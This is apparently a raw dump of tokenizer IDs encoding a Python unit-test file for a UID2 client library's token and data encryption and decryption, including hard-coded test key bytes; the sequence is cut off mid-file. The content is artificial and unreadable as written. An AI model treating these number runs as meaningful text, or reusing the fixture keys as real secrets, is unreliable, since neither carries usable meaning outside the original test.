27924,
29918,
1272,
29892,
1602,
4641,
29918,
1272,
29892,
20956,
29918,
1271,
29918,
2311,
29892,
11346,
14272,
2392,
13,
3166,
318,
333,
29906,
29918,
4645,
29889,
3977,
14272,
1053,
903,
3977,
4641,
29918,
1272,
29918,
29894,
29896,
13,
3166,
318,
333,
29906,
29918,
4645,
29889,
8149,
1053,
334,
13,
13,
13,
29918,
6207,
29918,
19024,
353,
6262,
4197,
29896,
29941,
29929,
29892,
29871,
29941,
29955,
29892,
29871,
29906,
29946,
29896,
29892,
29871,
29896,
29955,
29941,
29892,
29871,
29896,
29947,
29892,
29871,
29929,
29906,
29892,
29871,
29941,
29953,
29892,
29871,
29906,
29941,
29906,
29892,
29871,
29896,
29953,
29945,
29892,
29871,
29896,
29953,
29947,
29892,
29871,
29906,
29941,
29892,
29871,
29896,
29947,
29892,
29871,
29941,
29947,
29892,
29871,
29896,
29929,
29945,
29892,
29871,
29896,
29906,
29941,
29892,
29871,
29929,
29906,
29892,
29871,
29896,
29953,
29900,
29892,
29871,
29896,
29941,
29953,
29892,
29871,
29896,
29947,
29945,
29892,
29871,
29946,
29900,
29892,
29871,
29929,
29896,
29892,
29871,
29896,
29955,
29941,
29892,
29871,
29896,
29953,
29945,
29892,
29871,
29906,
29906,
29896,
29892,
29871,
29896,
29953,
29947,
29892,
29871,
29896,
29953,
29892,
29871,
29896,
29953,
29929,
29892,
29871,
29896,
29953,
29946,
29892,
29871,
29941,
29947,
29892,
29871,
29896,
29941,
29929,
29892,
29871,
29947,
29892,
29871,
29896,
29945,
29945,
2314,
13,
29918,
2746,
29918,
19024,
353,
259,
6262,
4197,
29941,
29906,
29892,
29871,
29906,
29945,
29896,
29892,
29871,
29955,
29892,
29871,
29896,
29929,
29946,
29892,
29871,
29896,
29941,
29906,
29892,
29871,
29896,
29945,
29946,
29892,
29871,
29906,
29945,
29900,
29892,
29871,
29947,
29953,
29892,
29871,
29906,
29900,
29906,
29892,
29871,
29896,
29896,
29953,
29892,
29871,
29896,
29900,
29946,
29892,
29871,
29906,
29929,
29892,
29871,
29896,
29941,
29896,
29892,
29871,
29896,
29929,
29906,
29892,
29871,
29896,
29941,
29929,
29892,
29871,
29906,
29896,
29945,
29892,
29871,
29946,
29947,
29892,
29871,
29896,
29953,
29946,
29892,
29871,
29896,
29896,
29892,
29871,
29953,
29945,
29892,
29871,
29906,
29906,
29953,
29892,
29871,
29896,
29896,
29900,
29892,
29871,
29896,
29953,
29955,
29892,
29871,
29896,
29946,
29892,
29871,
29896,
29900,
29947,
29892,
29871,
29945,
29896,
29892,
29871,
29906,
29945,
29946,
29892,
29871,
29896,
29906,
29945,
29892,
29871,
29953,
29945,
29892,
29871,
29906,
29946,
29892,
29871,
29906,
29941,
29892,
29871,
29896,
29941,
29941,
2314,
13,
29918,
6207,
29918,
1989,
29918,
333,
353,
29871,
29896,
29953,
29946,
13,
29918,
2746,
29918,
1989,
29918,
333,
353,
29871,
29896,
29953,
29945,
13,
29918,
1688,
29918,
2746,
29918,
1989,
29918,
333,
353,
29871,
29896,
29953,
29953,
13,
29918,
2746,
29918,
333,
353,
29871,
29906,
29900,
29900,
29896,
13,
13,
29918,
5416,
29906,
353,
525,
5693,
4501,
28307,
1177,
29875,
29999,
29949,
21819,
4668,
29895,
29950,
29886,
29931,
29886,
29903,
29967,
29920,
29990,
29920,
1092,
29953,
29967,
29916,
29929,
29999,
29914,
29946,
29984,
29900,
29974,
3137,
29923,
29965,
29894,
29924,
2433,
13,
29918,
3707,
353,
11636,
29889,
12673,
29889,
329,
29883,
3707,
580,
13,
29918,
6207,
29918,
1989,
353,
11346,
14272,
2558,
7373,
6207,
29918,
1989,
29918,
333,
29892,
448,
29896,
29892,
903,
3707,
448,
11636,
29889,
9346,
287,
2554,
29898,
16700,
10457,
29896,
511,
903,
3707,
29892,
903,
3707,
718,
11636,
29889,
9346,
287,
2554,
29898,
16700,
29922,
29896,
511,
903,
6207,
29918,
19024,
29897,
13,
29918,
2746,
29918,
1989,
353,
11346,
14272,
2558,
7373,
2746,
29918,
1989,
29918,
333,
29892,
903,
2746,
29918,
333,
29892,
903,
3707,
448,
11636,
29889,
9346,
287,
2554,
29898,
16700,
10457,
29896,
511,
903,
3707,
29892,
903,
3707,
718,
11636,
29889,
9346,
287,
2554,
29898,
16700,
29922,
29896,
511,
903,
2746,
29918,
19024,
29897,
13,
29918,
1688,
29918,
2746,
29918,
1989,
353,
11346,
14272,
2558,
7373,
1688,
29918,
2746,
29918,
1989,
29918,
333,
29892,
903,
2746,
29918,
333,
29892,
11636,
29889,
12673,
29898,
29906,
29900,
29906,
29900,
29892,
29871,
29896,
29892,
29871,
29896,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
511,
11636,
29889,
12673,
29898,
29906,
29900,
29906,
29896,
29892,
29871,
29896,
29892,
29871,
29896,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
511,
903,
3707,
718,
11636,
29889,
9346,
287,
2554,
29898,
16700,
29922,
29896,
511,
20956,
29918,
1271,
29918,
2311,
334,
289,
29915,
29929,
1495,
13,
13,
13,
1990,
4321,
8566,
14272,
6678,
29879,
29898,
348,
27958,
29889,
3057,
8259,
1125,
13,
13,
1678,
822,
1243,
29918,
7099,
4641,
29918,
6979,
29898,
1311,
1125,
13,
4706,
5993,
353,
903,
3977,
4641,
29918,
6979,
7373,
5416,
29906,
29892,
903,
6207,
29918,
1989,
29892,
903,
2746,
29918,
1989,
29897,
13,
13,
4706,
6611,
353,
11346,
14272,
15506,
7196,
4197,
29918,
6207,
29918,
1989,
29892,
903,
2746,
29918,
1989,
2314,
13,
4706,
1121,
353,
1602,
4641,
29918,
6979,
29898,
6979,
29892,
6611,
29897,
13,
13,
4706,
1583,
29889,
9294,
9843,
7373,
5416,
29906,
29892,
1121,
29889,
5416,
29906,
29897,
13,
13,
13,
1678,
822,
1243,
29918,
7099,
4641,
29918,
6979,
29918,
6310,
29918,
8149,
29898,
1311,
1125,
13,
4706,
5993,
353,
903,
3977,
4641,
29918,
6979,
7373,
5416,
29906,
29892,
903,
6207,
29918,
1989,
29892,
903,
2746,
29918,
1989,
29897,
13,
13,
4706,
6611,
353,
11346,
14272,
15506,
7196,
4197,
2314,
13,
13,
4706,
411,
1583,
29889,
9294,
29934,
1759,
267,
29898,
8566,
14272,
2392,
1125,
13,
9651,
1121,
353,
1602,
4641,
29918,
6979,
29898,
6979,
29892,
6611,
29897,
13,
13,
13,
1678,
822,
1243,
29918,
7099,
4641,
29918,
6979,
29918,
1217,
29918,
6207,
29918,
1989,
29898,
1311,
1125,
13,
4706,
5993,
353,
903,
3977,
4641,
29918,
6979,
7373,
5416,
29906,
29892,
903,
6207,
29918,
1989,
29892,
903,
2746,
29918,
1989,
29897,
13,
13,
4706,
6611,
353,
11346,
14272,
15506,
7196,
4197,
29918,
2746,
29918,
1989,
2314,
13,
13,
4706,
411,
1583,
29889,
9294,
29934,
1759,
267,
29898,
8566,
14272,
2392,
1125,
13,
9651,
1121,
353,
1602,
4641,
29918,
6979,
29898,
6979,
29892,
6611,
29897,
13,
13,
13,
1678,
822,
1243,
29918,
7099,
4641,
29918,
6979,
29918,
1217,
29918,
2746,
29918,
1989,
29898,
1311,
1125,
13,
4706,
5993,
353,
903,
3977,
4641,
29918,
6979,
7373,
5416,
29906,
29892,
903,
6207,
29918,
1989,
29892,
903,
2746,
29918,
1989,
29897,
13,
13,
4706,
6611,
353,
11346,
14272,
15506,
7196,
4197,
29918,
6207,
29918,
1989,
2314,
13,
13,
4706,
411,
1583,
29889,
9294,
29934,
1759,
267,
29898,
8566,
14272,
2392,
1125,
13,
9651,
1121,
353,
1602,
4641,
29918,
6979,
29898,
6979,
29892,
6611,
29897,
13,
13,
13,
1678,
822,
1243,
29918,
7099,
4641,
29918,
6979,
29918,
20965,
29918,
3259,
29898,
1311,
1125,
13,
4706,
5993,
353,
903,
3977,
4641,
29918,
6979,
7373,
5416,
29906,
29892,
903,
6207,
29918,
1989,
29892,
903,
2746,
29918,
1989,
29892,
1873,
29922,
29896,
29897,
13,
13,
4706,
6611,
353,
11346,
14272,
15506,
7196,
4197,
29918,
6207,
29918,
1989,
29892,
903,
2746,
29918,
1989,
2314,
13,
13,
4706,
411,
1583,
29889,
9294,
29934,
1759,
267,
29898,
8566,
14272,
2392,
1125,
13,
9651,
1121,
353,
1602,
4641,
29918,
6979,
29898,
6979,
29892,
6611,
29897,
13,
13,
13,
1678,
822,
1243,
29918,
7099,
4641,
29918,
6979,
29918,
4548,
2859,
29898,
1311,
1125,
13,
4706,
5993,
353,
903,
3977,
4641,
29918,
6979,
7373,
5416,
29906,
29892,
903,
6207,
29918,
1989,
29892,
903,
2746,
29918,
1989,
29892,
1518,
16129,
29922,
6008,
29889,
9346,
287,
2554,
29898,
23128,
10457,
29896,
876,
13,
13,
4706,
6611,
353,
11346,
14272,
15506,
7196,
4197,
29918,
6207,
29918,
1989,
29892,
903,
2746,
29918,
1989,
2314,
13,
13,
4706,
411,
1583,
29889,
9294,
29934,
1759,
267,
29898,
8566,
14272,
2392,
1125,
13,
9651,
1121,
353,
1602,
4641,
29918,
6979,
29898,
6979,
29892,
6611,
29897,
13,
13,
13,
1678,
822,
1243,
29918,
7099,
4641,
29918,
6979,
29918,
6341,
29918,
3707,
29898,
1311,
1125,
13,
4706,
1518,
16129,
353,
11636,
29889,
12673,
29898,
29906,
29900,
29906,
29896,
29892,
29871,
29941,
29892,
29871,
29906,
29906,
29892,
29871,
29929,
29892,
29871,
29896,
29892,
29871,
29906,
29897,
13,
4706,
5993,
353,
903,
3977,
4641,
29918,
6979,
7373,
5416,
29906,
29892,
903,
6207,
29918,
1989,
29892,
903,
2746,
29918,
1989,
29892,
1518,
16129,
29922,
4548,
16129,
29897,
13,
13,
4706,
6611,
353,
11346,
14272,
15506,
7196,
4197,
29918,
6207,
29918,
1989,
29892,
903,
2746,
29918,
1989,
2314,
13,
13,
4706,
411,
1583,
29889,
9294,
29934,
1759,
267,
29898,
8566,
14272,
2392,
1125,
13,
9651,
1121,
353,
1602,
4641,
29918,
6979,
29898,
6979,
29892,
6611,
29892,
1286,
29922,
4548,
16129,
29974,
6008,
29889,
9346,
287,
2554,
29898,
23128,
29922,
29896,
876,
13,
13,
4706,
1121,
353,
1602,
4641,
29918,
6979,
29898,
6979,
29892,
6611,
29892,
1286,
29922,
4548,
16129,
29899,
6008,
29889,
9346,
287,
2554,
29898,
23128,
29922,
29896,
876,
13,
4706,
1583,
29889,
9294,
9843,
7373,
5416,
29906,
29892,
1121,
29889,
5416,
29906,
29897,
13,
13,
13,
1678,
822,
1243,
29918,
7099,
4641,
29918,
6979,
29918,
20965,
29918,
23813,
29898,
1311,
1125,
13,
4706,
5993,
353,
903,
3977,
4641,
29918,
6979,
7373,
5416,
29906,
29892,
903,
6207,
29918,
1989,
29892,
903,
2746,
29918,
1989,
29892,
1518,
16129,
29922,
6008,
29889,
9346,
287,
2554,
29898,
23128,
10457,
29896,
876,
13,
13,
4706,
6611,
353,
11346,
14272,
15506,
7196,
4197,
29918,
6207,
29918,
1989,
29892,
903,
2746,
29918,
1989,
2314,
13,
13,
4706,
411,
1583,
29889,
9294,
29934,
1759,
267,
29898,
8566,
14272,
2392,
1125,
13,
9651,
1121,
353,
1602,
4641,
29918,
6979,
29898,
6979,
7503,
29899,
29941,
1402,
6611,
29897,
13,
13,
13,
1678,
822,
1243,
29918,
3977,
4641,
29918,
1272,
29918,
14940,
29918,
1989,
29918,
392,
29918,
440,
29898,
1311,
1125,
13,
4706,
848,
353,
289,
29915,
29896,
29906,
29941,
29946,
29945,
29953,
29915,
13,
4706,
20444,
353,
20956,
29918,
1271,
29918,
2311,
334,
289,
29915,
29900,
29915,
13,
4706,
1820,
353,
903,
1688,
29918,
2746,
29918,
1989,
13,
4706,
6611,
353,
11346,
14272,
15506,
7196,
4197,
1989,
2314,
13,
4706,
23220,
353,
27924,
29918,
1272,
29898,
1272,
29892,
20444,
29922,
440,
29892,
1820,
29922,
1989,
29897,
13,
4706,
1583,
29889,
9294,
5574,
29898,
2435,
29898,
1272,
29897,
718,
7431,
29898,
440,
29897,
529,
7431,
29898,
3977,
14740,
876,
13,
4706,
1602,
14740,
353,
1602,
4641,
29918,
1272,
29898,
3977,
14740,
29892,
6611,
29897,
13,
4706,
1583,
29889,
9294,
9843,
29898,
1272,
29892,
1602,
14740,
29889,
1272,
29897,
13,
13,
13,
1678,
822,
1243,
29918,
3977,
4641,
29918,
1272,
29918,
14940,
29918,
1989,
29918,
392,
29918,
13525,
29918,
440,
29898,
1311,
1125,
13,
4706,
848,
353,
289,
29915,
29896,
29906,
29941,
29946,
29945,
29953,
29915,
13,
4706,
1820,
353,
903,
1688,
29918,
2746,
29918,
1989,
13,
4706,
6611,
353,
11346,
14272,
15506,
7196,
4197,
1989,
2314,
13,
4706,
23220,
353,
27924,
29918,
1272,
29898,
1272,
29892,
1820,
29922,
1989,
29897,
13,
4706,
1583,
29889,
9294,
5574,
29898,
2435,
29898,
1272,
29897,
718,
20956,
29918,
1271,
29918,
2311,
529,
7431,
29898,
3977,
14740,
876,
13,
4706,
1602,
14740,
353,
1602,
4641,
29918,
1272,
29898,
3977,
14740,
29892,
6611,
29897,
13,
4706,
1583,
29889,
9294,
9843,
29898,
1272,
29892,
1602,
14740,
29889,
1272,
29897,
13,
13,
13,
1678,
822,
1243,
29918,
3977,
4641,
29918,
1272,
29918,
14940,
29918,
2746,
29918,
333,
29898,
1311,
1125,
13,
4706,
848,
353,
289,
29915,
29896,
29906,
29941,
29946,
29945,
29953,
29915,
13,
4706,
1820,
353,
903,
1688,
29918,
2746,
29918,
1989,
13,
4706,
6611,
353,
11346,
14272,
15506,
7196,
4197,
1989,
2314,
13,
4706,
23220,
353,
27924,
29918,
1272,
29898,
1272,
29892,
3268,
29918,
333,
29922,
1989,
29889,
2746,
29918,
333,
29892,
6611,
29922,
8149,
29897,
13,
4706,
1583,
29889,
9294,
5574,
29898,
2435,
29898,
1272,
29897,
718,
20956,
29918,
1271,
29918,
2311,
529,
7431,
29898,
3977,
14740,
876,
13,
4706,
1602,
14740,
353,
1602,
4641,
29918,
1272,
29898,
3977,
14740,
29892,
6611,
29897,
13,
4706,
1583,
29889,
9294,
9843,
29898,
1272,
29892,
1602,
14740,
29889,
1272,
29897,
13,
13,
13,
1678,
822,
1243,
29918,
3977,
4641,
29918,
1272,
29918,
2746,
29918,
333,
29918,
3166,
29918,
6979,
29898,
1311,
1125,
13,
4706,
848,
353,
289,
29915,
29896,
29906,
29941,
29946,
29945,
29953,
29915,
13,
4706,
1820,
353,
903,
1688,
29918,
2746,
29918,
1989,
13,
4706,
6611,
353,
11346,
14272,
15506,
7196,
4197,
29918,
6207,
29918,
1989,
29892,
1820,
2314,
13,
4706,
5993,
353,
903,
3977,
4641,
29918,
6979,
7373,
5416,
29906,
29892,
903,
6207,
29918,
1989,
29892,
1820,
29892,
3268,
29918,
333,
29922,
1989,
29889,
2746,
29918,
333,
29897,
13,
4706,
23220,
353,
27924,
29918,
1272,
29898,
1272,
29892,
18811,
5921,
29918,
6979,
29922,
6979,
29892,
6611,
29922,
8149,
29897,
13,
4706,
1583,
29889,
9294,
5574,
29898,
2435,
29898,
1272,
29897,
718,
20956,
29918,
1271,
29918,
2311,
529,
7431,
29898,
3977,
14740,
876,
13,
4706,
1602,
14740,
353,
1602,
4641,
29918,
1272,
29898,
3977,
14740,
29892,
6611,
29897,
13,
4706,
1583,
29889,
9294,
9843,
29898,
1272,
29892,
1602,
14740,
29889,
1272,
29897,
13,
13,
13,
1678,
822,
1243,
29918,
3977,
4641,
29918,
1272,
29918,
8149,
29918,
392,
29918,
14940,
29918,
1989,
29918,
842,
29898,
1311,
1125,
13,
4706,
848,
353,
289,
29915,
29896,
29906,
29941,
29946,
29945,
29953,
29915,
13,
4706,
1820,
353,
903,
1688,
29918,
2746,
29918,
1989,
13,
4706,
6611,
353,
11346,
14272,
15506,
7196,
4197,
1989,
2314,
13,
4706,
411,
1583,
29889,
9294,
29934,
1759,
267,
29898,
1917,
2392,
1125,
13,
9651,
27924,
29918,
1272,
29898,
1272,
29892,
1820,
29922,
1989,
29892,
6611,
29922,
8149,
29897,
13,
13,
13,
1678,
822,
1243,
29918,
3977,
4641,
29918,
1272,
29918,
2746,
29918,
333,
29918,
392,
29918,
6979,
29918,
842,
29898,
1311,
1125,
13,
4706,
848,
353,
289,
29915,
29896,
29906,
29941,
29946,
29945,
29953,
29915,
13,
4706,
1820,
353,
903,
1688,
29918,
2746,
29918,
1989,
13,
4706,
6611,
353,
11346,
14272,
15506,
7196,
4197,
29918,
6207,
29918,
1989,
29892,
1820,
2314,
13,
4706,
5993,
353,
903,
3977,
4641,
29918,
6979,
7373,
5416,
29906,
29892,
903,
6207,
29918,
1989,
29892,
1820,
29892,
3268,
29918,
333,
29922,
1989,
29889,
2746,
29918,
333,
29897,
13,
4706,
411,
1583,
29889,
9294,
29934,
1759,
267,
29898,
1917,
2392,
1125,
13,
9651,
27924,
29918,
1272,
29898,
1272,
29892,
6611,
29922,
8149,
29892,
3268,
29918,
333,
29922,
1989,
29889,
2746,
29918,
333,
29892,
18811,
5921,
29918,
6979,
29922,
6979,
29897,
13,
13,
13,
1678,
822,
1243,
29918,
3977,
4641,
29918,
1272,
29918,
6979,
29918,
7099,
4641,
29918,
26061,
29898,
1311,
1125,
13,
4706,
848,
353,
289,
29915,
29896,
29906,
29941,
29946,
29945,
29953,
29915,
13,
4706,
1820,
353,
903,
1688,
29918,
2746,
29918,
1989,
13,
4706,
6611,
353,
11346,
14272,
15506,
7196,
4197,
29918,
6207,
29918,
1989,
29892,
903,
1688,
29918,
2746,
29918,
1989,
2314,
13,
4706,
411,
1583,
29889,
9294,
29934,
1759,
267,
29898,
8566,
14272,
2392,
1125,
13,
9651,
27924,
29918,
1272,
29898,
1272,
29892,
6611,
29922,
8149,
29892,
18811,
5921,
29918,
6979,
543,
29890,
468,
375,
29899,
6979,
1159,
13,
13,
13,
1678,
822,
1243,
29918,
3977,
4641,
29918,
1272,
29918,
1989,
29918,
4548,
2859,
29898,
1311,
1125,
13,
4706,
848,
353,
289,
29915,
29896,
29906,
29941,
29946,
29945,
29953,
29915,
13,
4706,
3268,
29918,
333,
353,
29871,
29906,
29900,
29945,
13,
4706,
1820,
353,
11346,
14272,
2558,
29898,
29896,
29900,
29896,
29892,
3268,
29918,
333,
29892,
903,
3707,
448,
11636,
29889,
9346,
287,
2554,
29898,
16700,
29922,
29906,
511,
903,
3707,
448,
11636,
29889,
9346,
287,
2554,
29898,
16700,
29922,
29906,
511,
903,
3707,
448,
11636,
29889,
9346,
287,
2554,
29898,
16700,
29922,
29896,
511,
20956,
29918,
1271,
29918,
2311,
334,
289,
29915,
29929,
1495,
13,
4706,
411,
1583,
29889,
9294,
29934,
1759,
267,
29898,
8566,
14272,
2392,
1125,
13,
9651,
27924,
29918,
1272,
29898,
1272,
29892,
1820,
29922,
1989,
29897,
13,
13,
13,
1678,
822,
1243,
29918,
3977,
4641,
29918,
1272,
29918,
1989,
29918,
262,
4925,
29898,
1311,
1125,
13,
4706,
848,
353,
289,
29915,
29896,
29906,
29941,
29946,
29945,
29953,
29915,
13,
4706,
3268,
29918,
333,
353,
29871,
29906,
29900,
29945,
13,
4706,
1820,
353,
11346,
14272,
2558,
29898,
29896,
29900,
29896,
29892,
3268,
29918,
333,
29892,
903,
3707,
448,
11636,
29889,
9346,
287,
2554,
29898,
16700,
29922,
29906,
511,
903,
3707,
718,
11636,
29889,
9346,
287,
2554,
29898,
16700,
29922,
29906,
511,
903,
3707,
718,
11636,
29889,
9346,
287,
2554,
29898,
16700,
29922,
29941,
511,
20956,
29918,
1271,
29918,
2311,
334,
289,
29915,
29929,
1495,
13,
4706,
411,
1583,
29889,
9294,
29934,
1759,
267,
29898,
8566,
14272,
2392,
1125,
13,
9651,
27924,
29918,
1272,
29898,
1272,
29892,
1820,
29922,
1989,
29897,
13,
13,
13,
1678,
822,
1243,
29918,
3977,
4641,
29918,
1272,
29918,
1989,
29918,
4548,
2859,
29918,
6341,
29918,
3707,
29898,
1311,
1125,
13,
4706,
848,
353,
289,
29915,
29896,
29906,
29941,
29946,
29945,
29953,
29915,
13,
4706,
1820,
353,
903,
1688,
29918,
2746,
29918,
1989,
13,
4706,
1286,
353,
903,
1688,
29918,
2746,
29918,
1989,
29889,
4548,
2658,
13,
4706,
411,
1583,
29889,
9294,
29934,
1759,
267,
29898,
8566,
14272,
2392,
1125,
13,
9651,
27924,
29918,
1272,
29898,
1272,
29892,
1820,
29922,
1989,
29892,
1286,
29922,
3707,
29897,
13,
13,
13,
1678,
822,
1243,
29918,
3977,
4641,
29918,
1272,
29918,
1989,
29918,
262,
4925,
29918,
6341,
29918,
3707,
29898,
1311,
1125,
13,
4706,
848,
353,
289,
29915,
29896,
29906,
29941,
29946,
29945,
29953,
29915,
13,
4706,
1820,
353,
903,
1688,
29918,
2746,
29918,
1989,
13,
4706,
1286,
353,
903,
1688,
29918,
2746,
29918,
1989,
29889,
11236,
1078,
448,
11636,
29889,
9346,
287,
2554,
29898,
23128,
29922,
29896,
29897,
13,
4706,
411,
1583,
29889,
9294,
29934,
1759,
267,
29898,
8566,
14272,
2392,
1125,
13,
9651,
27924,
29918,
1272,
29898,
1272,
29892,
1820,
29922,
1989,
29892,
1286,
29922,
3707,
29897,
13,
13,
13,
1678,
822,
1243,
29918,
3977,
4641,
29918,
1272,
29918,
1217,
29918,
2746,
29918,
1989,
29898,
1311,
1125,
13,
4706,
848,
353,
289,
29915,
29896,
29906,
29941,
29946,
29945,
29953,
29915,
13,
4706,
6611,
353,
11346,
14272,
15506,
7196,
4197,
29918,
6207,
29918,
1989,
2314,
13,
4706,
411,
1583,
29889,
9294,
29934,
1759,
267,
29898,
8566,
14272,
2392,
1125,
13,
9651,
27924,
29918,
1272,
29898,
1272,
29892,
6611,
29922,
8149,
29892,
3268,
29918,
333,
29922,
29906,
29900,
29945,
29897,
13,
13,
13,
1678,
822,
1243,
29918,
3977,
4641,
29918,
1272,
29918,
2746,
29918,
1989,
29918,
4548,
2859,
29898,
1311,
1125,
13,
4706,
848,
353,
289,
29915,
29896,
29906,
29941,
29946,
29945,
29953,
29915,
13,
4706,
3268,
29918,
333,
353,
29871,
29906,
29900,
29945,
13,
4706,
1820,
353,
11346,
14272,
2558,
29898,
29896,
29900,
29896,
29892,
3268,
29918,
333,
29892,
903,
3707,
448,
11636,
29889,
9346,
287,
2554,
29898,
16700,
29922,
29906,
511,
903,
3707,
448,
11636,
29889,
9346,
287,
2554,
29898,
16700,
29922,
29906,
511,
903,
3707,
448,
11636,
29889,
9346,
287,
2554,
29898,
16700,
29922,
29896,
511,
20956,
29918,
1271,
29918,
2311,
334,
289,
29915,
29929,
1495,
13,
4706,
6611,
353,
11346,
14272,
15506,
7196,
4197,
1989,
2314,
13,
4706,
411,
1583,
29889,
9294,
29934,
1759,
267,
29898,
8566,
14272,
2392,
1125,
13,
9651,
27924,
29918,
1272,
29898,
1272,
29892,
6611,
29922,
8149,
29892,
3268,
29918,
333,
29922,
2746,
29918,
333,
29897,
13,
13,
13,
1678,
822,
1243,
29918,
3977,
4641,
29918,
1272,
29918,
2746,
29918,
1989,
29918,
262,
4925,
29898,
1311,
1125,
13,
4706,
848,
353,
289,
29915,
29896,
29906,
29941,
29946,
29945,
29953,
29915,
13,
4706,
3268,
29918,
333,
353,
29871,
29906,
29900,
29945,
13,
4706,
1820,
353,
11346,
14272,
2558,
29898,
29896,
29900,
29896,
29892,
3268,
29918,
333,
29892,
903,
3707,
448,
11636,
29889,
9346,
287,
2554,
29898,
16700,
29922,
29906,
511,
903,
3707,
718,
11636,
29889,
9346,
287,
2554,
29898,
16700,
29922,
29906,
511,
903,
3707,
718,
11636,
29889,
9346,
287,
2554,
29898,
16700,
29922,
29941,
511,
20956,
29918,
1271,
29918,
2311,
334,
289,
29915,
29929,
1495,
13,
4706,
6611,
353,
11346,
14272,
15506,
7196,
4197,
1989,
2314,
13,
4706,
411,
1583,
29889,
9294,
29934,
1759,
267,
29898,
8566,
14272,
2392,
1125,
13,
9651,
27924,
29918,
1272,
29898,
1272,
29892,
6611,
29922,
8149,
29892,
3268,
29918,
333,
29922,
2746,
29918,
333,
29897,
13,
13,
13,
1678,
822,
1243,
29918,
3977,
4641,
29918,
1272,
29918,
2746,
29918,
1989,
29918,
4548,
2859,
29918,
6341,
29918,
3707,
29898,
1311,
1125,
13,
4706,
848,
353,
289,
29915,
29896,
29906,
29941,
29946,
29945,
29953,
29915,
13,
4706,
3268,
29918,
333,
353,
29871,
29906,
29900,
29945,
13,
4706,
1286,
353,
11636,
29889,
12673,
29889,
329,
29883,
3707,
580,
448,
11636,
29889,
9346,
287,
2554,
29898,
16700,
29922,
29896,
29897,
13,
4706,
1820,
353,
11346,
14272,
2558,
29898,
29896,
29900,
29896,
29892,
3268,
29918,
333,
29892,
1286,
29892,
1286,
29892,
1286,
718,
11636,
29889,
9346,
287,
2554,
29898,
23128,
29922,
29896,
511,
20956,
29918,
1271,
29918,
2311,
334,
289,
29915,
29929,
1495,
13,
4706,
6611,
353,
11346,
14272,
15506,
7196,
4197,
1989,
2314,
13,
4706,
23220,
353,
27924,
29918,
1272,
29898,
1272,
29892,
3268,
29918,
333,
29922,
2746,
29918,
333,
29892,
6611,
29922,
8149,
29892,
1286,
29922,
3707,
29897,
13,
4706,
1602,
14740,
353,
1602,
4641,
29918,
1272,
29898,
3977,
14740,
29892,
6611,
29897,
13,
4706,
1583,
29889,
9294,
9843,
29898,
1272,
29892,
1602,
14740,
29889,
1272,
29897,
13,
4706,
1583,
29889,
9294,
9843,
29898,
4830,
29918,
2230,
29898,
3707,
511,
3402,
29918,
2230,
29898,
7099,
14740,
29889,
3977,
14740,
29918,
271,
876,
13,
13,
13,
1678,
822,
1243,
29918,
3977,
4641,
29918,
1272,
29918,
4548,
2859,
29918,
6979,
29898,
1311,
1125,
13,
4706,
848,
353,
289,
29915,
29896,
29906,
29941,
29946,
29945,
29953,
29915,
13,
4706,
1518,
16129,
353,
11636,
29889,
12673,
29898,
29906,
29900,
29906,
29896,
29892,
29871,
29941,
29892,
29871,
29906,
29906,
29892,
29871,
29929,
29892,
29871,
29896,
29892,
29871,
29906,
29897,
13,
4706,
1820,
353,
903,
1688,
29918,
2746,
29918,
1989,
13,
4706,
6611,
353,
11346,
14272,
15506,
7196,
4197,
29918,
6207,
29918,
1989,
29892,
1820,
2314,
13,
4706,
5993,
353,
903,
3977,
4641,
29918,
6979,
7373,
5416,
29906,
29892,
903,
6207,
29918,
1989,
29892,
1820,
29892,
3268,
29918,
333,
29922,
1989,
29889,
2746,
29918,
333,
29892,
1518,
16129,
29922,
4548,
16129,
29897,
13,
4706,
411,
1583,
29889,
9294,
29934,
1759,
267,
29898,
8566,
14272,
2392,
1125,
13,
9651,
27924,
29918,
1272,
29898,
1272,
29892,
6611,
29922,
8149,
29892,
18811,
5921,
29918,
6979,
29922,
6979,
29897,
13,
13,
13,
1678,
822,
1243,
29918,
3977,
4641,
29918,
1272,
29918,
4548,
2859,
29918,
6979,
29918,
6341,
29918,
3707,
29898,
1311,
1125,
13,
4706,
848,
353,
289,
29915,
29896,
29906,
29941,
29946,
29945,
29953,
29915,
13,
4706,
1518,
16129,
353,
11636,
29889,
12673,
29898,
29906,
29900,
29906,
29896,
29892,
29871,
29941,
29892,
29871,
29906,
29906,
29892,
29871,
29929,
29892,
29871,
29896,
29892,
29871,
29906,
29897,
13,
4706,
1820,
353,
903,
1688,
29918,
2746,
29918,
1989,
13,
4706,
6611,
353,
11346,
14272,
15506,
7196,
4197,
29918,
6207,
29918,
1989,
29892,
1820,
2314,
13,
4706,
5993,
353,
903,
3977,
4641,
29918,
6979,
7373,
5416,
29906,
29892,
903,
6207,
29918,
1989,
29892,
1820,
29892,
3268,
29918,
333,
29922,
1989,
29889,
2746,
29918,
333,
29892,
1518,
16129,
29922,
4548,
16129,
29897,
13,
13,
4706,
411,
1583,
29889,
9294,
29934,
1759,
267,
29898,
8566,
14272,
2392,
1125,
13,
9651,
27924,
29918,
1272,
29898,
1272,
29892,
6611,
29922,
8149,
29892,
18811,
5921,
29918,
6979,
29922,
6979,
29892,
1286,
29922,
4548,
16129,
29974,
6008,
29889,
9346,
287,
2554,
29898,
23128,
29922,
29896,
876,
13,
13,
4706,
1286,
353,
1518,
16129,
29899,
6008,
29889,
9346,
287,
2554,
29898,
23128,
29922,
29896,
29897,
13,
4706,
23220,
353,
27924,
29918,
1272,
29898,
1272,
29892,
6611,
29922,
8149,
29892,
18811,
5921,
29918,
6979,
29922,
6979,
29892,
1286,
29922,
3707,
29897,
13,
4706,
1602,
14740,
353,
1602,
4641,
29918,
1272,
29898,
3977,
14740,
29892,
6611,
29897,
13,
4706,
1583,
29889,
9294,
9843,
29898,
1272,
29892,
1602,
14740,
29889,
1272,
29897,
13,
4706,
1583,
29889,
9294,
9843,
29898,
4830,
29918,
2230,
29898,
3707,
511,
3402,
29918,
2230,
29898,
7099,
14740,
29889,
3977,
14740,
29918,
271,
876,
13,
13,
13,
1678,
822,
1243,
29918,
7099,
4641,
29918,
1272,
29918,
12313,
29918,
23813,
29918,
1853,
29898,
1311,
1125,
13,
4706,
848,
353,
289,
29915,
29896,
29906,
29941,
29946,
29945,
29953,
29915,
13,
4706,
1820,
353,
903,
1688,
29918,
2746,
29918,
1989,
13,
4706,
6611,
353,
11346,
14272,
15506,
7196,
4197,
1989,
2314,
13,
4706,
23220,
353,
27924,
29918,
1272,
29898,
1272,
29892,
1820,
29922,
1989,
29897,
13,
4706,
